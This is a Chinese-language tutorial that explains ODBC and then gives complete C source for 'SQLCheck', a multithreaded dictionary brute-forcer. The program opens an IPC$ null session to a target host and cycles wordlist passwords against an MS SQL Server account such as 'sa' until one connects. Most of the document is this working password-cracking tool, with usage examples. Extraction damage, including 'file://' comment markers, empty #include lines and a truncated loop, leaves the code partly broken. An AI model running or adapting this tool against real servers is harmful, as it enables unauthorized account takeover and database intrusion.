ODBC是开放数据互连(Open Database Connectivity)的简称,它是一个用于远程访问数据库(主要是关系型数据库)的统一界面标准。 ODBC下现实运用中是一个数据库的访问库,它提供了一组ODBC API函数可以提供给编程者使用。对于程序员来说,ODBC API函数集实际上等于一个动态连接库(DLL)集,可以在应用程序中直接使用它们。
一个应用程序直接调用ODBC API函数来进行数据库的应用工作,工作过程一般比较复杂。其中一种办法大概是以下几步: <1>启动ODBC数据库应用程序。 <2>与服务器建立IPC SESSION。 <3>创建数据库应用的环境句柄。 <4>创建连接句柄。 <5>连接数据源。 <6>创建语句句柄。 <7>通过上一步创建的语句句柄来执行SQL操作。 <8>释放语句句柄。 <9>要进行多此SQL操作的话,就循环步骤6-8。 <10>断开与数据库的连接。 <11>释放连接句柄。 <12>释放环境句柄。 <13>断开IPC SESSION。 <14>程序结束。
下面以一个实例来说明远程检测MS SQL Server账号密码的全过程。
/********************************************************** Module Name:SQLCheck.c Date:2000.12.14 WEB:www.patching.net Notices:Copyright(c) eyas **********************************************************/ #include #include #include #include #include #include #include #include
//////////////////////////////////////////////////////////////////////// file://定义全局变量 char dict[20000][40],//密码字典 UserName[40],//用户名 target[40],//目标服务器 passwd[40];//已经探测出来的正确密码 int total=0;//字典里面单词数量 BOOL Cracked=FALSE;//探测密码成功时此值为TRUE HANDLE hSemaphore,//信标内核对象 hEvent;//事件内核对象 long MaxThreads,//最大线程数量 ActiveThreads;//活动线程数量 //////////////////////////////////////////////////////////////////////// void usage(char *pragname) { printf("\nPower by eyas" "\nhttp://www.patching.net" "\n2000/12/14" "\n\nUsage:%s " "\nExample:%s 192.168.0.1 sa c:\\pwd.dic 50\n",pragname,pragname); return; }
//////////////////////////////////////////////////////////////////////// int ReadDic(char *dic) { FILE *fp; char tmp[40];
file://打开字典文件 if((fp=fopen(dic,"r"))==NULL) { printf("\nCan't open %s",dic); return 1; }
while(!feof(fp)) { file://读取数据到临时变量 if(fgets(tmp,40,fp)==NULL) break; file://把从文件里面读出来的最后一位数据[换行符号]去掉 strncpy(dict[total],tmp,strlen(tmp)-1); total++; if(total>=19999) break; } fclose(fp); return 0; } //////////////////////////////////////////////////////////////////////// int ConnIPC(char *RemoteName) { NETRESOURCE nr; DWORD flags=CONNECT_UPDATE_PROFILE; TCHAR RN[30]="\\\\", LN[5]="";
strcat(RN,RemoteName); strcat(RN,"\\ipc$");
nr.dwType=RESOURCETYPE_DISK; nr.lpLocalName=(LPTSTR)&LN; nr.lpRemoteName=(LPTSTR)&RN; nr.lpProvider=NULL;
if(WNetAddConnection2(&nr,(LPSTR)"",(LPSTR)"",flags)==NO_ERROR) { return 0; } else { return 1; } } //////////////////////////////////////////////////////////////////////// int DelIPC(char *RemoteName) { DWORD ret; TCHAR lpName[30]="\\\\";
strcat(lpName,RemoteName); strcat(lpName,"\\ipc$");
ret=WNetCancelConnection2(lpName,CONNECT_UPDATE_PROFILE,TRUE); if(ret==NO_ERROR) { return 0; } else { return 1; } } //////////////////////////////////////////////////////////////////////// DWORD WINAPI SQLCheck(PVOID pPwd) { file://定义局部变量 char szBuffer[1025]; char *pwd; SWORD swStrLen; SQLHDBC hdbc; SQLHANDLE henv; SQLRETURN retcode;//ODBC API运行返回值 SCHAR ConnStr[200];//连接数据库字符串 long PreviousCount;
file://取得传递过来准备探测的密码 pwd=(char *)pPwd; file://构造连接数据库字符 sprintf(ConnStr,"DRIVER={SQL Server};SERVER=%s;UID=%s;PWD=%s;DATABASE=master", target,UserName,pwd); file://puts(ConnStr); __try{ file://创建数据库应用的环境句柄 if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=SQL_SUCCESS) { printf("\nAllocate environment handle failed.\n"); ExitProcess(1); } file://设置ODBC版本环境 if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER) SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS) { printf("\nSet the ODBC version environment attribute failed.\n"); SQLFreeHandle(SQL_HANDLE_ENV, henv); ExitProcess(1); } file://创建连接句柄 if ((retcode= SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR *)&hdbc)) != SQL_SUCCESS) { printf("\nAllocate connection handle failed.\n"); SQLFreeHandle(SQL_HANDLE_ENV, henv); ExitProcess(1); } file://连接数据源 retcode= SQLDriverConnect(hdbc,NULL,ConnStr,strlen(ConnStr), szBuffer,sizeof(szBuffer),&swStrLen, SQL_DRIVER_COMPLETE_REQUIRED); if(retcode!=SQL_SUCCESS && retcode != SQL_SUCCESS_WITH_INFO) { file://连接失败,函数终止 file://printf("\nCouldn't connect to %s MSSQL server.\n",target); } else { file://连接远程MSSQL Server数据库成功 Cracked=TRUE; strncpy(passwd,pwd,sizeof(passwd)); file://断开连接 SQLDisconnect(hdbc); } }//end of tyr __finally{ file://释放连接句柄 SQLFreeHandle(SQL_HANDLE_DBC, hdbc); file://释放环境句柄 SQLFreeHandle(SQL_HANDLE_ENV, henv); file://对信标当前资源数量进行递增1,并取得当前资源数量的原始值 ReleaseSemaphore(hSemaphore,1,&PreviousCount); file://计算当前活动线程数量 ActiveThreads=MaxThreads-PreviousCount-1; file://printf("\nActiveThreads-->%d.",ActiveThreads); file://如果活动线程数量为0,那么将事件内核对象hEvent改为已通知状态,程序结束 if(ActiveThreads==0) { SetEvent(hEvent); } }//end of finally return 0; }
//////////////////////////////////////////////////////////////////////// int main(int argc,char **argv) { HANDLE hThread;//线程句柄 DWORD dwThreadId,dwRet; int i=0,err=0; clock_t start,end;//程序运行的起始和结束时间 double duration;
if(argc!=5) { usage(argv[0]); return 1; } file://取得目标地址,用户名 strncpy(target,argv[1],sizeof(target)); strncpy(UserName,argv[2],sizeof(UserName)); file://取得并检查用户输入的最大线程数量 MaxThreads=atol(argv[4]); if((MaxThreads>100) || (MaxThreads<1)) { usage(argv[0]); return 1; } file://读取字典中的单词到内存中 if(ReadDic(argv[3])!=0) return 1; file://与目标机器建立IPC Session if(ConnIPC(argv[1])!=0) { printf("\nCan't built IPC NULL Session!"); return 1; } else { printf("\nBuilt IPC NULL Session success!\n"); } file://创建信标内核对象,最大资源数量和可以使用的资源数量均为MaxThreads hSemaphore=CreateSemaphore(NULL,MaxThreads,MaxThreads,NULL); if(hSemaphore==NULL) { printf("\nCreateSemaphore() failed.ErrorCode:%d.",GetLastError()); return 1; } file://创建事件内核对象[人工重置,初始状态为未通知] hEvent=CreateEvent(NULL,TRUE,FALSE,NULL); if(hEvent==NULL) { printf("\nCreateEvent() failed.ErrorCode:%d.",GetLastError()); CloseHandle(hSemaphore); return 1; } file://开始计时 start=clock(); file://开始建立线程探测密码 for(i=0;i { file://探测密码成功后跳出此循环 if(Cracked==TRUE) break; file://显示进度信息 printf("\n[%d/%d] %s -> %s -> %s",i+1,total,target,UserName,dict[i]); file://创建线程 hThread=CreateThread(NULL,0,SQLCheck,(PVOID)&dict[i],0,&dwThreadId); file://处理创建线程错误的情况 if(hThread==NULL) { err++; MessageBox(NULL,"thread error","error",MB_OK); if(err>=50) break; } CloseHandle(hThread); Sleep(10); file://等待信标内核对象通知,可用资源数量大于0则继续创建线程,等于0则线程进入等待状态 WaitForSingleObject(hSemaphore,INFINITE); } file://等待事件内核对象通知,最多等待3分钟 dwRet=WaitForSingleObject(hEvent,180000); switch(dwRet) { case WAIT_OBJECT_0: printf("\nAll thread done."); break; case WAIT_TIMEOUT: printf("\nWait time out.Exit."); break; case WAIT_FAILED: printf("\nWaitForSingleObject() failed."); break; } file://断开与目标机器的IPC Session DelIPC(target); file://探测密码成功后回显信息 if(Cracked==TRUE) printf("\n\nSuccess!%s SQL Server User [%s] passwd is [%s].",target,UserName,passwd); file://记时结束 end=clock(); file://转换时间格式 duration = (double)(end - start) / CLOCKS_PER_SEC; file://显示所用时间 printf("\n\nComplete.Use %2.1f seconds.\n",duration); return 0; } //////////////////////////////////////////////////////////////////////// 程序在windows2000,vc++6.0环境下编译通过。
|